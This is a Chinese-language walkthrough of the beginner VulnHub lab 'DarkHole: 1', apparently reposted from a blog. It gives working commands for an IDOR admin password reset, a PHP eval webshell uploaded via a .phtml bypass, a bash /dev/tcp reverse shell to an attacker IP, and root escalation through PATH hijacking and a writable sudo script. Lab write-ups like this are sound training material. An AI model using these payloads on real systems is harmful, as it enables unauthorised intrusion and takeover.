DarkHole: 1
靶机描述
靶机地址:https://download.vulnhub.com/darkhole/DarkHole.zip
Description
Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force
信息收集
利用arp-scan -l命令扫描靶机IP
arp-scan -l
使用nmap扫描开放端口
nmap -sV -p- 192.168.75.169
发现开放了22和80端口
WEB服务测试
访问80端口,点击login,进入登录页面
注册一个账号(test:123456)
注册成功后,登录系统,仅有更新个人信息和修改密码功能
越权
抓包分析一下,有一个ID参数,我们刚注册的账号ID为2,猜测管理员ID为1,修改ID为1放包,尝试越权修改ID为1的账号密码
猜测ID为1的账号用户名为admin,尝试登录成功,发现文件上传功能
获取webshell
经过探索后发现可以通过后缀.phtml
绕过上传php脚本
<?php eval($_REQUEST[8]);?>
使用蚁剑连接,获取到shell
反弹Shell
利用bash,反弹一个shell给Kali
bash -c 'bash -i >& /dev/tcp/192.168.75.150/9999 0>&1'
提权
如图所示共三个用户具有 /bin/bash,root,darkhole,john
cat /etc/passwd | grep "/bin/bash"
查看一下系统中的文件
发现一个可疑文件toto
,是个二进制文件,运行一下
发现是二进制文件是id
的副本,它以用户john
的身份执行,那可以创建一个具有相同名称的自定义二进制文件将目录导出到PATH
(从前往后顺序匹配),这样使用id
命令时就会优先匹配此路径下的id
文件,运行toto
文件使用john
身份调用id
命令时就会获得shell
echo 'bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH
切换到了john
用户,获取一个交互式的shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
查看系统文件
查看之前发现的
password
,应该是john
的密码,查看下权限
发现会以root
身份执行file.py
,并且我们有权限对其进行更改,那就直接写入shell
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py
获得root
权限,查看flag
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/18173084